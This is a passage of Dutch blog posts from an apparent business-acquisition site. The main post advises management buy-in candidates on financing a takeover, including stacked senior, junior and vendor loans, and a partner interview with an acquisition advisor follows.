ondernemers te praten die dit proces al hebben doorlopen. Of neem bewust een moment om stil te staan bij wat je hebt bereikt. Want hoe rationeel je het ook aanpakt, een beetje gevoel hoort er gewoon bij. ...

Je hebt een bedrijf op het oog dat perfect past bij jouw ambitie en ervaring. Je hebt gesprekken gevoerd met de verkoper, er ligt een intentieverklaring en de contouren van de deal beginnen zich af te tekenen. Spannende tijden — maar nu komt één van de belangrijkste fases: de financiering rond krijgen.    Voor veel MBI-kandidaten is dit het punt waar mogelijk kansen gemist worden. Niet omdat de overname geen potentie heeft, maar omdat het financieringsproces niet optimaal wordt aangepakt. In deze blog legt onze partner NLInvesteert uit waar je als MBI-kandidaat op moet letten, en hoe je met een slimme aanpak – inclusief stapelfinanciering – méér mogelijk maakt. 1. Een goede voorbereiding is het halve werk Financiers kijken niet alleen naar het bedrijf dat je wilt overnemen, maar ook naar jóu als ondernemer. Heb je de juiste ervaring? Past deze onderneming bij jouw profiel? Hoe ziet het plan eruit voor de eerste jaren na overname? Een financieringsmemorandum (of investeringsplan) is essentieel en moet onder meer bevatten: Een duidelijke beschrijving van het over te nemen bedrijf: activiteiten, marktpositie, klanten, leveranciers. De rationale achter de overname: waarom dit bedrijf, waarom nu? Jouw profiel als MBI’er: ervaring, skills, trackrecord. De structuur van de deal: koopsom, earn-outs, vendor loan. Een gedegen financiële prognose: inclusief kasstromen, rentabiliteits- en balansontwikkeling en verschillende scenario’s (best case, base case, worst case). De waardering van het over te nemen bedrijf.  De gewenste financieringsstructuur. De continuïteit van de onderneming na overname gericht op klantenportefeuille, aanblijven sleutelfiguren en leveranciers. Een goed plan zorgt niet alleen voor een betere kans op financiering, maar geeft financiers ook vertrouwen dat jij weet waar je aan begint.   2. Eén financier benaderen? Dat is vragen om tijdverlies Een veelgemaakte fout: het plan naar één bank sturen, daar wekenlang mee in gesprek gaan en dan pas ontdekken dat het niet past binnen hun kaders. Kostbare tijd gaat verloren, terwijl de verkoper doorgaans op voortgang rekent. De realiteit is dat financiers allemaal net iets anders naar risico’s en structuren kijken. Wat bij de ene bank niet past, kan bij een alternatieve financier wél mogelijk zijn. Of juist in de combinatie tussen deze partijen mogelijk zijn. Denk aan: Banken die relatief conservatief zijn met overnames door MBI’ers. Financiers die niet of slechts een deel van de goodwill financiering willen faciliteren. Non-bancaire financiers die soepeler omgaan met solvabiliteitsverhoudingen en zekerheden. Door meerdere financiers parallel te benaderen voorkom je tijdverlies én vergroot je de kans op een goede deal. Als er meerdere financiers tot financiering willen overgaan verbetert dat je onderhandelingspositie.   3. Maak gebruik van stapelfinanciering In veel overnamecases zien we dat één financier niet het hele plaatje kan (of wil) invullen. Dat betekent niet dat de deal niet rondkomt — maar dat stapeling van financiering een oplossing biedt.   Een typische overnamefinanciering kan als volgt worden opgebouwd: Senior lening van een bank: Vaak de grootste component, met eerste zekerheden op activa. Tot een bepaald percentage van de koopsom, afhankelijk van kasstroom, zekerheden en het maximaal te financieren bedrag t.o.v. EBITDA.  Junior lening van een non-bancaire financier: Deze financier neemt meer risico en wordt eventueel achtergesteld aan de bank. Denk hierbij aan partijen die kijken naar ondernemerschap en cashflow in plaats van onderpand. Op basis hiervan wordt een tweede pandrecht op activa achter de bank geaccepteerd. Logischerwijs rekent deze partij wel een hogere rente dan bancair wordt aangeboden. Vendor loan (verkoperslening): Een veel toegepaste vorm van aanvullende financiering waarbij de verkoper een deel van de koopsom achterlaat in de vorm van een lening. Dit is gunstig voor het vertrouwen van financiers en voor de liquiditeitspositie na overname. Eigen inbreng van de MBI-kandidaat: Afhankelijk van de totale dealstructuur en het risicoprofiel, vragen financiers vaak om een eigen inbreng van 10% tot 30%.   4. Begin op tijd met het financieringsproces Het lijkt een open deur, maar toch gaat het vaak mis: de intentieverklaring wordt getekend, due diligence wordt gestart, en pas daarna begint het financieringsproces. Terwijl juist die fase bedoeld is om zekerheden in te bouwen. Zorg dat je de financieringsaanvraag op tijd opstart, in ieder geval direct na het tekenen van de intentieverklaring (met inachtneming van een financieringsvoorbehoud). Of laat je voorafgaand aan een aankoopproces al informeren over de mogelijkheden voor financiering. Zo voorkom je: Vertraging omdat financiering toch niet haalbaar blijkt. Heronderhandeling van voorwaarden met de verkoper. Onnodige juridische en DD-kosten zonder zekerheid.   5. Wil je snelheid én de beste deal? Laat je begeleiden Het financieringslandschap voor overnames is breed en versnipperd. De juiste partij vinden, de juiste structuur opzetten, en zorgen dat alle betrokkenen op het juiste moment kunnen schakelen – dat vraagt ervaring én een netwerk. Goede begeleiding zorgt voor: De juiste voorbereiding van je plan en het beoordelen van je financiële prognoses. Toegang tot een netwerk van een grote diversiteit aan financiers. Structurering van stapelfinancieringen. Hierbij kunnen we ook putten uit de financieringsbronnen die NLInvesteert ter beschikking stelt (fondsen en het investeringsplatform).  Onderhandeling van condities. Begeleiding tot en met passeren bij de notaris. Of je nu een productiebedrijf, een handelsorganisatie of een IT-bedrijf op het oog hebt — met de juiste aanpak is er vaak meer mogelijk dan je denkt. Maar dan moet het proces wél professioneel worden aangepakt.   Wim Burger NLInvesteert West-Brabant ...

Van tijd tot tijd gaan wij in gesprek met een van onze aangesloten partners om hen wat beter te leren kennen. Dit keer is het de beurt aan Edward Ooteman van ED-M Partners. Wij spraken hem over zijn organisatie en vroegen hem naar zijn kijk op de overnamemarkt. Edward is vrijwel zijn gehele werkzame leven actief als ondernemer. Hij had onder meer een recruitmentbedrijf en richtte twee IT-consultancybedrijven op. Daarna werkte hij zes jaar lang als partner bij Boer & Croon en nam hij samen met een zakenpartner een tandheelkundige keten over, die ze later weer succesvol verkochten. ED-M Partners Een aantal jaren geleden besloot hij, na dertig jaar ondernemerschap en meerdere succesvolle bedrijfsovernames en -exits, dat het tijd was om zijn opgedane ervaring te benutten als overnameadviseur. "Mijn ervaringen als zowel koper als verkoper van bedrijven maakten mij enthousiast om ook andere ondernemers te helpen bij overnames," vertelt hij. "Daarom ben ik ED-M Partners gestart." Vanuit zijn woonplaats Bergen (NH) begeleidt hij ondernemers bij aan- en verkoop van bedrijven. Hij onderscheidt zich hierin met zijn persoonlijke en betrokken werkwijze. "Bij grote advieskantoren zie je vaak dat de partners het eerste contact doen, waarna een junior de begeleiding overneemt. Ik kies ervoor om zelf het hele traject van A tot Z te begeleiden. Van de eerste gesprekken tot aan de notaris, ik ben erbij. Uiteraard wordt ik op de juiste momenten ondersteund door een bedrijfsanalist, maar dat persoonlijke aspect vind ik heel belangrijk."  ...